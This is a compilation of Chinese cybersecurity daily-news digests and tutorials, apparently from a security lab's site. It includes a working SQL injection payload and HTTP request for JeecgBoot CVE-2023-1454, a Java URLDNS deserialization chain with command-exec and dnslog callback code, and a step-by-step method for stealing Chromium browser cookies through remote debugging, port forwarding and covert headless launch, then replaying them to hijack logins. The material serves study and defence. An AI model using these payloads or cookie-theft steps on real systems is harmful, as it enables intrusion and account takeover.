网络安全日报 2023年07月18日
1、攻击者使用恶意Chrome扩展程序窃取Facebook账户
https://www.malwarebytes.com/blog/threat-intelligence/2023/07/criminals-target-businesses-with-malicious-extension-for-metas-ads-manager-and-accidentally-leak-stolen-accounts 近期,研究人员发现一个使用恶意Chrome扩展程序窃取Facebook账户凭据的攻击活动。攻击者在Facebook中推广虚假的广告管理软件,从而引诱用户下载包含恶意MSI安装程序的压缩包。在该MSI安装程序中包含一个批处理脚本和两个文件夹,其中包含
2、研究人员发现Docker Hub中的大量镜像泄露敏感数据
https://www.bleepingcomputer.com/news/security/thousands-of-images-on-docker-hub-leak-auth-secrets-private-keys 研究人员近期发布的一项研究表明,Docker Hub上托管的数万个容器镜像泄露敏感数据,从而使软件、在线平台和用户暴露在大规模攻击之下。研究人员分析了来自Docker Hub和数千个私人注册中心的337171个镜像,从中发现大约8.5%的镜像包含私钥和API机密等敏感数据。该论文进一步表明,许多公开的密钥被积极使用,从而破坏了依赖它们的元素的安全性。
3、JumpCloud证实遭受网络攻击
https://www.securityweek.com/jumpcloud-says-sophisticated-nation-state-targeted-specific-customers JumpCloud证实其遭受网络攻击。此次攻击始于6月22日的鱼叉式网络钓鱼活动,导致攻击者未经授权访问JumpCloud基础设施的特定区域。6月27日,该公司发现内部系统存在异常活动后,重置了凭据并采取了额外的安全措施。7月5日,在发现一小部分客户的命令框架中存在异常活动后,该公司重置了所有管理API密钥,并开始通知受影响的客户。JumpCloud表示,此次攻击的目标非常明确,仅限于特定客户。
4、Adobe 警告客户一个关键的ColdFusion RCE 在攻击中被利用
https://securityaffairs.com/148542/hacking/coldfusion-rce-attacks.html Adobe 警告客户存在一个严重的 ColdFusion 预身份验证 RCE 漏洞(编号为 CVE-2023-29300),该漏洞已被积极利用。
5、思科修复了 SD-WAN vManage 中的一个严重缺陷
https://securityaffairs.com/148524/security/cisco-sd-wan-vmanage-critical-bug.html 思科警告称,存在一个严重的未经身份验证的 REST API 访问漏洞(编号为 CVE-2023-20214),会影响其 SD-WAN vManage。
6、BlackLotus UEFI Bootkit 源代码在 GitHub 上泄露
https://securityaffairs.com/148482/malware/source-code-blacklotus-uefi-bootkit-leaked.html BlackLotus UEFI bootkit 的源代码已在 GitHub 上发布,专家警告自定义版本扩散的风险。
7、网络犯罪网站 BreachForums 所有者认罪
https://www.securityweek.com/owner-of-cybercrime-website-breachforums-pleads-guilty/ 臭名昭著的网络犯罪网站 BreachForums 的所有者康纳·布莱恩·菲茨帕特里克 (Conor Brian Fitzpatrick) 已在美国法院认罪。
8、黑客利用WebAPK欺骗Android用户安装恶意应用
https://thehackernews.com/2023/07/hackers-exploit-webapk-to-deceive.html 威胁行为者正在利用 Android 的WebAPK 技术来诱骗毫无戒心的用户在 Android 手机上安装旨在捕获敏感个人信息的恶意 Web 应用程序。
9、TeamTNT 的云凭证窃取活动现在针对Azure和 Google Cloud
https://thehackernews.com/2023/07/teamtnts-cloud-credential-stealing.html 一名恶意行为者与 2023 年 6 月发生的一次云凭证窃取活动有关,该活动主要针对 Azure 和 Google 云平台 (GCP) 服务,这标志着攻击者的目标范围已扩展到 Amazon Web Services (AWS) 之外。
10、超百万站点使用,WordPress 插件 AIOS 被曝以明文记录密码
https://www.freebuf.com/news/372245.html Bleeping Computer 网站披露,超过百万 WordPress 网站使用的 All-In-One Security(AIOS)WordPress安全插件被曝将用户尝试登录的明文密码记录到网站数据库中,此举可能危及账户安全。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
CVE-2023-1454注入分析复现
简介
JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。
影响版本
Jeecg-Boot<=3.5.1
环境搭建
idea+
后端源码:
https://github.com/jeecgboot/jeecg-boot/archive/refs/tags/v3.5.0.zip前端源码:
https://github.com/jeecgboot/jeecgboot-vue3/archive/refs/tags/v3.5.0.zip安装npm,安装nodejs
https://nodejs.org/dist/v18.16.1/node-v18.16.1-x64.msi安装yarn
npm install -g yarn
下载依赖
yarn install
yarn run serve //起服务
由于是前后端分离,需要数据库导入表,使用navicat直接导入即可
后端服务端搭建,使用idea搭建导入项目,修改数据库配置
配置server端npm服务
配置好之后直接启动,访问
http://localhost:3100/login搭建成功
漏洞复现
前后端分离,后端端口8080 ,Payload:
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 128
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select current_user)),1)) or '%%' like '"}
分析
漏洞产生点位于积木报表插件内,查看更新的3.5.1的版本更新
更改了72处的文件,其中需要注意db/其他数据库/jeecgboot-sqlserver2019.sql中重写了数据插入的方法
jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java中增加了对sql语句的正则
这个修复是针对于后端的SQL注入,/sys/duplicate/check
目前最新更新的3.5.1版本似乎依旧没有针对积木报表注入点儿的加固措施,修复时更换jar包
目前积木官方的jar包已升级。
关注积木5月份的升级日志
http://jimureport.com/doc/log小结
github上有师傅们的脚本,但是如果要批量使用的话建议在修改一下response的内容,仅仅只有操作失败的报错的话会存在大批量的报错。
所有自定义的if判断的回显都建议修改一下,如有错误欢迎指出。
网络安全日报 2023年07月17日
1、研究人员发现新型恶意软件TOITOIN
https://www.zscaler.com/blogs/security-research/toitoin-trojan-analyzing-new-multi-stage-attack-targeting-latam-region 研究人员最近发现一个针对拉丁美洲用户的攻击活动。在此次攻击活动中,攻击者利用多阶段的攻击链执行定制的模块,例如将恶意代码注入到进程中、通过COM组件绕过用户账户控制、 规避沙箱检测等,最终投递一个名为“TOITOIN”的新型恶意软件。该恶意软件采用独特的XOR解密技术对配置文件进行解密,收集系统信息,并对已安装浏览器及Topaz OFD产品中的相关数据进行窃
2、攻击者利用Office文档漏洞传播LokiBot窃密木马
https://www.fortinet.com/blog/threat-research/lokibot-targets-microsoft-office-document-using-vulnerabilities-and-macros 研究人员近期发现了几个利用已知漏洞的恶意Office文档文件,包括两个远程代码执行漏洞CVE-2021-40444和CVE-2022-30190。利用这些漏洞,攻击者可以在文档中嵌入恶意宏,当恶意宏执行后会将LokiBot窃密木马植入受害者系统中。LokiBot窃密木马于2015年出现,它针对Windows操作系统进行攻击,用于从受害主机中窃取敏感数据,
3、攻击者利用恶意的TeamViewer安装程序传播njRAT远控木马
https://blog.cyble.com/2023/07/13/trojanized-application-preying-on-teamviewer-users 研究人员近期发现,攻击者正利用恶意的TeamViewer安装程序传播njRAT远控木马。该安装程序执行后,会释放正常的TeamViewer应用程序及njRAT。njRAT将自身复制到“AppData\Local\Temp”路径中并更名为“System.exe”,通过设置注册表项更改安全设置,并创建防火墙规则允许其于C2服务器进行通信。njRAT通过修改注册表项及复制到启动目录中实现持久化,能够执行键盘记录、收集系统信息等功能
4、思科SD-WAN vManage软件存在安全漏洞
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-unauthapi-sphCLYPA 5、 AVrecon恶意软件感染超过70000台路由器以构建僵尸网络
https://blog.lumen.com/routers-from-the-underground-exposing-avrecon/ 研究人员发现了一起持续多年的针对路由器的攻击活动,感染小型办公室/家庭办公(SOHO)路由器,并最终部署一种名为“Avrecon”、基于Linux的远控木马。该恶意软件于2021年5月被发现,且已经在两年多的时间内未被观察到。由于该恶意软件较为隐蔽,受感染设备的所有者很少能够注意到包括服务中断或宽带损失在内的异常情况。研究人员发现该恶意软件已经感染全球70000多台设备,并在40000多个设备中进行持久化,从而构建僵尸网络。
6、美国科罗拉多州立大学证实其数据泄露
https://source.colostate.edu/moveit-software-cyberattack-notification 科罗拉多州立大学(CSU)证实,受到最近MOVEit Transfer事件的影响,该校学生及员工的个人信息泄露。该校于7月12日通知其学生及教职员工,攻击者通过攻击窃取了他们的个人数据,可能包括姓名、出生日期、身份号码、社会保障号码以及人口统计信息。这些被盗数据最早可以追溯到2021年,因此一些毕业生的数据也受到了影响。由于此次数据泄露事件是由于使用MOVEit Transfer平台的供应商遭到攻击,并且这些供应商也为美国的多所大学提供服务,因此未来可能
7、Juniper修复Junos OS中的多个安全漏洞
https://www.securityweek.com/juniper-networks-patches-high-severity-vulnerabilities-in-junos-os 网络设备制造商Juniper Networks发布了软件更新,以修复Junos OS、Junos OS Evolved和Junos Space中的多个安全漏洞。在此次发布的更新公告中,有三个公告涉及Junos OS和Junos OS Evolved中可能导致拒绝服务(DoS)的高危漏洞,这些漏洞影响QFX10000、MX和SRX系列网络设备。其他八个公告涉及中等安全漏洞,这些漏洞也可能被利用来利用导致D
8、研究人员发现Adobe InDesign中的多个安全漏洞
https://www.fortinet.com/blog/threat-research/adobe-indesign-zero-day-vulnerabilities 研究人员于今年3月发现Adobe InDesin中的多个安全漏洞并向Adobe进行了报告,在2023年7月11日,Adobe发布了针对这些安全漏洞的更新补丁。受影响的平台涉及Windows和macOS操作系统,受影响的版本为Adobe InDesign 2023 18.3及更早版本、Adobe InDesign 2022 17.4.1及更早版本,这些漏洞将会导致内存泄漏或任意代码执行。由于这些漏洞的严重性,研究人员建议用户
9、研究人员在QuickBlox框架中发现多个安全漏洞
https://www.hackread.com/exploitable-flaws-quickblox-expose-user-records 研究人员在QuickBlox框架中发现了多个安全漏洞。QuickBlox是一种流行的聊天和视频服务,广泛应用于智能物联网设备、金融和远程医疗网络以及iOS和Android移动应用程序。这些漏洞是研究人员在检查Rozcom的对讲机移动应用程序时发现的,该应用程序基于QuickBlox框架。研究人员能够利用这些漏洞下载用户数据库,接管账户和所有Rozcom对讲机设备,并完全访问设备摄像头和麦克风。他们还能够进行窃听,并打开其设备管理的大门。
10、黑客通过零日漏洞入侵Lemmy网站
https://www.securityweek.com/hackers-target-reddit-alternative-lemmy-via-zero-day-vulnerability/ Lemmy是一款开源软件,旨在运行自托管的新闻聚合和讨论论坛,目前有1100多个实例,用户总数近85万。几天前,攻击者开始利用与自定义表情符号呈现相关的跨站点脚本(XSS)漏洞对其一些流行实例上的页面进行了破坏,并篡改页面将用户重定向至一些令人不适的内容。Lemmy目前对该漏洞进行了修复,并建议用户更改JWT密钥。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月14日
1、苹果重新发布快速安全响应来修复最近披露的零日漏洞
https://securityaffairs.com/148441/security/apple-second-rapid-security-response.html 在修复了由第一个 RSR 引起的某些网站上的浏览问题后,Apple 重新发布了适用于 iOS 和 macOS 的快速安全响应更新。
2、Zimbra 敦促客户修复 Google TAG 报告的被利用的零日漏洞
https://securityaffairs.com/148429/hacking/zimbra-collaboration-suite-zeroday.html Zimbra 已发布更新,以解决针对 Zimbra Collaboration Suite (ZCS) 电子邮件服务器的攻击中被积极利用的零日漏洞。Zimbra 敦促客户手动安装更新以修复正在积极修复的零日漏洞。
3、SonicWall 敦促组织修复 GMS/Analytics 产品中的严重漏洞
https://securityaffairs.com/148411/security/sonicwall-critical-flaws-gms-analytics.html SonicWall 修复了多个影响其 GMS 防火墙管理以及分析管理和报告引擎的关键漏洞。
4、GitHub 虚假 Linux内核漏洞PoC 让研究人员遭受恶意软件攻击
https://thehackernews.com/2023/07/blog-post.html GitHub 上发现了一个概念验证 (PoC),其中隐藏了一个采用“狡猾”持久性方法的后门,该存储库伪装成CVE-2023-35829的 PoC ,这是最近披露的 Linux 内核中的一个高严重性缺陷。此后它已被下架,但在此之前它被fork了 25 次。
5、罗克韦尔自动化 ControlLogix 中的漏洞使工业系统面临远程攻击
https://thehackernews.com/2023/07/rockwell-automation-controllogix-bugs.html 美国网络安全和基础设施安全局 (CISA) 警告称,存在两个影响罗克韦尔自动化 ControlLogix EtherNet/IP (ENIP) 通信模块模型的安全缺陷,这些缺陷可被利用来实现远程代码执行和拒绝服务 (DoS)。
6、流行的 Ghostscript 开源 PDF 库中发现高危RCE漏洞
https://www.bleepingcomputer.com/news/security/critical-rce-found-in-popular-ghostscript-open-source-pdf-library/ Ghostscript 是 Linux 中广泛使用的 PostScript 语言和 PDF 文件的开源解释器,被发现容易受到严重远程代码执行漏洞的影响。该漏洞被追踪为 CVE-2023-36664,CVSS v3 评级为 9.8,影响 10.01.2 之前的所有 Ghostscript 版本。
7、APT29组织利用宝马汽车广告进行网络钓鱼攻击
https://unit42.paloaltonetworks.com/cloaked-ursa-phishing 研究人员发现,APT29组织使用宝马汽车广告针对乌克兰的外交官进行网络钓鱼攻击,此次攻击活动从2023年5月份开始进行。攻击者模仿合法的汽车出售广告,发送给目标外交官的电子邮箱中。当收件人点击恶意文档中的链接时,会被重定向至一个HTML页面,该页面通过HTML走私技术投递恶意ISO文件。恶意的ISO文件中包含9张伪装成图像的LNK文件,当受害者点击这些LNK文件后,便会启动一个合法的可执行程序,利用“白加黑”加载恶意DLL文件将Shellcode注入当前进程的内存中执行。
8、德意志银行确认其供应商泄露客户数据
https://www.bleepingcomputer.com/news/security/deutsche-bank-confirms-provider-breach-exposed-customer-data 德意志银行证实,其一家服务供应商泄露客户数据,并且这可能是一次受MOVEit Transfer漏洞影响的数据泄露事件。该银行表示,受到此次数据泄露影响的客户数量尚未确定,并正在调查数据泄露的原因。此外,该银行保证,其内部系统并没有受到此次事件的影响。为应对可能存在的风险,该行将未经授权的直接借记退货期延长至13个月,使其客户有充足的时间识别、报告未经授权的交易并获得报销。
9、研究人员发现新型Linux恶意软件PyLoose
https://www.wiz.io/blog/pyloose-first-python-based-fileless-attack-on-cloud-workloads 研究人员发现一种名为PyLoose的新型恶意软件,该恶意软件以云工作负载为目标,劫持其计算资源从而进行门罗币挖矿活动。PyLoose是一个Python脚本,包含一个经过压缩及编码的XMRig挖矿程序。该脚本内容仅含有9行代码,执行后对XMRig进行解码及解压缩,然后通过内存文件描述符memfd将其直接加载至内存中执行。PyLoose于2023年6月22日被首次检测到,当天该脚本被上传至VisuaTotal,可能是攻击者在对
10、赎金高达 4.5 亿美元!2023 年上半年勒索总金额暴增64%
https://www.freebuf.com/news/371968.html 据区块链分析公司Chainaanalysis 的调查结果,勒索软件攻击已成为 2023 年唯一增长的基于加密货币的犯罪行为,网络犯罪分子的勒索金额比一年前增加了近 1.758 亿美元,达4.491 亿美元,增长率高达63.8%。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Java反序列化:URLDNS的反序列化调试分析
URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。
笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。
一. Java反序列化前置知识
Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节序列。
Java原生链反序列化:利用Java.io.ObjectOutputStream对象输入流的readObject方法实现将字节序列转化成对象。
测试源码如下,此部分源码参考了ol4three师傅的博客:
package serialize;
import java.io.*;
public class deserTest implements Serializable {
private int n;
public deserTest(int n) {
this.n=n;
}
@Override
public String toString() {
return "deserTest2 [n=" + n + ", getClass()=" + getClass() + ", hashCode()=" + hashCode() + ", toString()="
+ super.toString() + "]";
}
// 反序列化
private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
System.out.println("test");
}
public static void main(String[] args) {
deserTest x = new deserTest(5);
operation1.ser(x);
operation1.deser();
x.toString();
}
}
// 实现序列化和反序列化具体细节的类
class operation1{
// 将输出字节流写入文件中进行封存
public static void ser(Object obj) {
// 序列化操作,写操作
try {
// 首先文件落地object.obj存储输出流,绑定输出流
ObjectOutputStream ooStream = new ObjectOutputStream(new FileOutputStream("object.obj"));
// 重定向将输出流字节写入文件
ooStream.writeObject(obj);
ooStream.flush();
ooStream.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
}catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
}
}
public static void deser() {
// 反序列化,读取操作
try {
// 绑定输入流
ObjectInputStream iiStream = new ObjectInputStream(new FileInputStream("object.obj"));
// 反序列化时需要从相关的文件容器中读取输出的字节流
// 读取字节流操作为readObject,所以重写readObject可以执行自定义代码
Object xObject = iiStream.readObject();
iiStream.close();
} catch (IOException e) {
// TODO: handle exception
e.printStackTrace();
} catch (ClassNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
二. ysoserial环境搭建
IDE就直接用JetBrains的IDEA就行
直接拿Java安全payload集成化工具ysoserial进行分析,这里面已经有现成的环境了
https://github.com/frohoff/ysoserial注意配置好相应的JDK和SDK版本:
三. URLDNS攻击链
影响的版本问题:与JDK版本无关,其攻击链实现依赖于Java内置类,与第三方库无关
URLDNS这条反序列化链只能发起DNS请求,无法进行其他利用,可以作为验证是否有反序列化漏洞的姿势
调试分析
Gadget Chain:
Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() ->URL.hashCode() ->
getHostAddress()
在getHostAddress函数中进行域名解析,从而可以被DNSLog平台捕获
URLDNS程序入口
在ysoserial-master\src\main\java\ysoserial\payloads\URLDNS.java路径下有URLDNS.java文件
main主函数的run函数打断点进入
这个ysoserial-master的payload运行结构大致是有一个专门的PayloadRunner运行程序,然后统一调用来运行各部分的payload
首先是进行序列化:
继续往下,生成command,由于是分析URLDNS攻击链,所以只需要修改将返回值为dnslog的临时地址
创建实例后,进入到URLDNS的getObject的payload函数
getObject函数中应该注意的是:声明了HashMap对象和URL对象,并进行put哈希绑定,最后设置作用域
反序列化链子:
在反序列化入口处打断点:
在反序列化时调用了readObject函数
然后进入HashMap.java的readObject函数
在readObject中调试到此行,了putval,在此处IDEA这个IDE可以选择进入的函数,直接进入后者hash
由于我们读入字节序列,需要将其恢复成相应的对象结构,那么就需要重新putval
传入的key不为空,执行key.hashCode
进一步在URL.java文件下
进入URLStreamHandler的hashCode
产生解析:
总的来说,利用链思路如下:
在反序列化URLDNS对象时,也需要反序列化HashMap对象,从而调用了HashMap.readObject()的重写函数,重写函数中调用了哈希表putval等的相关重构函数,在hashcode下调用了getHostAddress函数
那么反之,为什么首次声明的时候没有调用到了getHostAddress函数,现在给出声明时的函数路线:
ht.put() --> .. --> SilentURLStreamHandler.getHostAddress()
该函数为空实现
列出几个路线上的关键函数看看:
由于此处key为String类型,则进入String.hashCode
相比之下,在反序列化中key为URL类型
设置了不发起dns解析
具体执行流,可以看下时序图,我就不讲了^^
四. URLDNS链的使用
import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class Main{
// 序列化前不发生dns解析
static class SilentURLStreamHandler extends URLStreamHandler{
protected URLConnection openConnection(URL n) throws IOException{
return null;
}
protected synchronized InetAddress getHostAddress(URL n)
{
return null;
}
}
public static void main(String[] args) throws Exception{
HashMap hashMap = new HashMap();
// 设置put时不发起dns解析
URLStreamHandler handler = new Main.SilentURLStreamHandler();
URL url = new URL(null, "http://jloqk8.dnslog.cn", handler);
// 利用Java反射机制在动态执行时获取类
Class clazz = Class.forName("java.net.URL");
Field f = clazz.getDeclaredField("hashCode");
f.setAccessible(true);
hashMap.put(url, "123");
f.set(url, -1);
// 对象输出流绑定文件输出流
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap); // 序列化
// 对象输入流绑定文件输入流
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject(); // 反序列化
}
}
利用远程调试获取Chromium内核浏览器Cookie
前言
本文将介绍不依靠DPAPI的方式获取Chromium内核浏览器Cookie
远程调试
首先我们以edge为例。edge浏览器是基于Chromium的,而Chromium是可以开启远程调试的,开启远程调试的官方文档如下:
https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.htmlchrome.exe --remote-debugging-port=9222 --user-data-dir=remote-profile
那么开启远程调试以后可以做什么呢,继续看官方文档:
https://chromedevtools.github.io/devtools-protocol/tot/Storage/上述官方文档是Chrome开发者工具协议文档,里面提到如果需要实施调试、分析Chrome需要开启其远程调试:
并且告知开启后还提供了json等接口和各种API的使用:
既然edge是基于Chromium的,那么edge应该也是可以开启远程调试的。尝试使用Chrome开启远程调试的命令开启edge的远程调试:
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222
经测试是可以的,但是前提是必须没有msedge进程在启动着,否则上述命令虽然会启动edge进程,但是并不会开启远程调试端口。停止命令:
Get-Process msedge | Stop-Process
获取Cookie
首先看Chrome开发者工具协议能否获取浏览器密码啥的,文档没有:
也是,大家平常F12调出开发者工具,也是没有获取浏览器密码方式的。
继续搜下Cookie,可以看到有个Network.getAllCookies,但是文档中提到已经弃用了,改用了Storage.getCookies:
那尝试使用Storage.getCookies是否可以获取Cookie呢。开启远程调试后,获取websocket地址:
然后尝试使用python的websocket-client模块发送接收数据时,发现提示403:
根据提示看起来是CORS的问题,且给出了解决方案:
--remote-allow-origins=*
添加以后发送如下数据包就可以成功获取Cookie:
{"id": 1, "method": "Storage.getCookies"}
为了方便远程访问其websocket接口,可以把远程调试端口映射出来:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
这样就可以远程访问目标的远程调试端口:
编写代码
Github有个自动开启远程调试端口和获取Cookie的仓库:
https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py其中代码有几个问题,其一没解决CORS的问题,其二使用了可能弃用的Network.getAllCookies,其三开启远程调试端口可以不用依赖python,可以使用cmd命令,最终修改的代码如下:
import json
import requests
import websocket
GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Storage.getCookies"})
def hit_that_secret_json_path_like_its_1997():
response = requests.get("http://10.211.55.8:48333/json")
websocket_url = response.json()[0].get("webSocketDebuggerUrl")
return websocket_url
def gimme_those_cookies(ws_url):
ws = websocket.create_connection(ws_url)
ws.send(GET_ALL_COOKIES_REQUEST)
result = ws.recv()
ws.close()
response = json.loads(result)
cookies = response["result"]["cookies"]
return cookies
ws_url = hit_that_secret_json_path_like_its_1997()
print(ws_url)
cookies = gimme_those_cookies(ws_url)
print(cookies)
这样就可以达到在目标机器上开启远程调试端口并获取Cookie。为了防止开启的浏览器被用户发现,可以使用无头参数-headless,但是存在一个缺点,后面再讲。且为了防止/json接口返回空的情况,建议让浏览器启动时打开一个网站,因此最终完整命令如下:
# 关闭edge
Get-Process msedge | Stop-Process
# 启动远程调试
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* -headless
# 把远程调试端口映射出来
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
# 访问json接口获取websocket地址并获取Cookie
# 关闭端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333
实操
使用上述命令启动edge:
获取Cookie,发现只能获取到www.baidu.com的Cookie:
这就是上面提到的,使用无头参数-headless存在的一个缺点,只能获取到打开的网站的Cookie。因此如果想要获取指定目标网站的Cookie,要么重复上面的动作,要么取消无头参数-headless。笔者建议取消-headless参数,打开的浏览器用户也能正常使用,因此建议使用的命令如下:
# 关闭edge
Get-Process msedge | Stop-Process
# 启动远程调试
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=*
# 把远程调试端口映射出来
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
# 访问json接口获取websocket地址并获取Cookie
# 关闭端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333
获取到上述数据以后,如何使用呢,笔者提供如下代码,来完成满足Cookie格式要求的拼接:
def to_cookie_dict(data):
if 'www.chinabaiker.com' in data['domain']:
cookie_dict = {data['name']: data['value'], 'Domain': data['domain'], 'Path': data['path'], 'Expires': data['expires']}
print(cookie_dict)
return cookie_dict
data_list = [{}]
cookie_dict_list = [to_cookie_dict(data) for data in data_list]
# 遍历多个cookie字典,将每个字典中的key和value格式化为key=value的字符串
cookie_str_list = []
for cookie_dict in cookie_dict_list:
try:
for k, v in cookie_dict.items():
cookie_str_list.append('{}={}'.format(k, v))
except Exception as e:
print(e)
pass
# 使用;将多个key=value字符串连接在一起
cookie_str = ';'.join(cookie_str_list)
print(cookie_str)
因为获取到的Cookie比较多,在代码最开始做了个简单的过滤:
if 'www.chinabaiker.com' in data['domain']:
最终实现的效果如下:首先网站是非登录状态:
执行上述代码,获取Cookie:
然后放到burpsuite自动替换,笔者的替换规则如下:
最终成功完成Cookie的替换登录目标系统:
Chrome浏览器同理,就不花篇幅讲了:
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=*
总结
本文介绍了不依靠DPAPI的方式获取Chromium内核浏览器Cookie,可以尽可能的减少被拦截的情况下去获取浏览器Cookie。
网络安全日报 2023年07月13日
1、攻击者使用Legion窃密木马针对PUBG玩家进行攻击
https://blog.cyble.com/2023/07/11/legion-stealer-targeting-pubg-players 研究人员最近发现了一个Github页面,该页面伪装成PUBG作弊工具的项目,并借此传播恶意软件。攻击者对其中的“Karogour_Bypanls.Scr”文件的后7个字符进行反转,将其文件名变成“Karogour_BypasrcS.sln”以此诱导用户执行。该程序是一个基于GUI的32位可执行程序,使用.NET语言进行编写,运行后将“Local_ycsNYnaBZ.sln”文件及“LocalchfRgyVJSk.exe”程序放置%appdata%目录
2、微软针对132个漏洞发布安全更新,包括已被利用的零日漏洞
https://thehackernews.com/2023/07/microsoft-releases-patches-for-130.html 微软发布安全更新,以解决132个安全漏洞,其中包括6个零日漏洞,且这些零日漏洞已被利用。CVE-2023-32046,CVSS评分为7.8,是Windows MSHTML平台提权漏洞;CVE-2023-32049,CVSS评分为8.8,是Windows SmartScreen安全功能绕过漏洞;CVE-2023-35311,CVSS评分为8.8,是Microsoft Outlook安全功能绕过漏洞;CVE-2023-36874,CVSS评分为7.8
3、Citrix 修复了影响 Ubuntu 安全访问客户端的一个严重漏洞
https://securityaffairs.com/148405/security/citrix-critical-flaw-secure-access-client-for-ubuntu.html Citrix 修复了影响 Ubuntu 安全访问客户端的严重缺陷,该缺陷可被利用来实现远程代码执行。
4、Fortinet 修复了 FortiOS 和 FortiProxy 中的一个严重漏洞
https://securityaffairs.com/148395/hacking/fortinet-fortios-fortiproxy-critical-bug-2.html Fortinet 披露了一个严重漏洞,编号为 CVE-2023-33308(CVSS 评分 9.8),影响 FortiOS 和 FortiProxy。远程攻击者可以利用该漏洞在易受攻击的设备上执行任意代码。
5、硬编码帐户允许完全接管 Technicolor 路由器
https://www.securityweek.com/hardcoded-accounts-allow-full-takeover-of-technicolor-routers/ Technicolor TG670 DSL 网关路由器上的多个硬编码帐户可用于完全接管受影响的设备。
6、报告警告说,针对政府服务的 DDoS 攻击猛增 168%
https://www.hackread.com/ddos-attacks-stormwall-q2-2023-report/ 根据 StormWall 的 2023 年第二季度报告,美国、印度和中国仍然是被攻击最严重的目标国家。
7、加密货币平台 Multichain 遭到攻击 损失超 1.25 亿美元
http://www.anquan419.com/knews/24/5500.html 近日,加密货币平台 Multichain 因其正在调查涉及超过 1.25 亿美元的加密货币被盗事件,已暂停其服务。
8、因一低级漏洞,孟加拉国政府网站泄露约5000万公民身份数据
https://www.secrss.com/articles/56572 泄露数据包括全名、电话号码、电子邮箱地址和国民身份证号码。
9、奇安信发布《全球高级持续性威胁(APT)2023年中报告》
https://www.secrss.com/articles/56571 奇安信威胁情报中心发布《全球高级持续性威胁(APT)2023年中报告》,该报告通过分析奇安信威胁雷达对 2023 上半年境内的 APT 攻击活动的全方位遥感测绘数据,展示了我国境内 APT 攻击活动及高级持续性威胁发展趋势,并结合开源情报分析了全球范围内高级持续性威胁发展变化及特点,发现政府部门、国防军事领域仍是 APT 组织的首要攻击目标。与去年同期相比,教育、科研领域相关的攻击事件所占比例有所增高。
10、Orca 起诉 Wiz 涉嫌侵犯云安全专利
https://www.securityweek.com/orca-sues-wiz-over-alleged-cloud-security-patent-violations/ Orca Security 起诉其主要竞争对手,指控其专利侵权、知识产权盗窃,甚至营销模仿行为。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月12日
1、迷人的小猫黑客使用新的“NokNok”恶意软件针对macOS
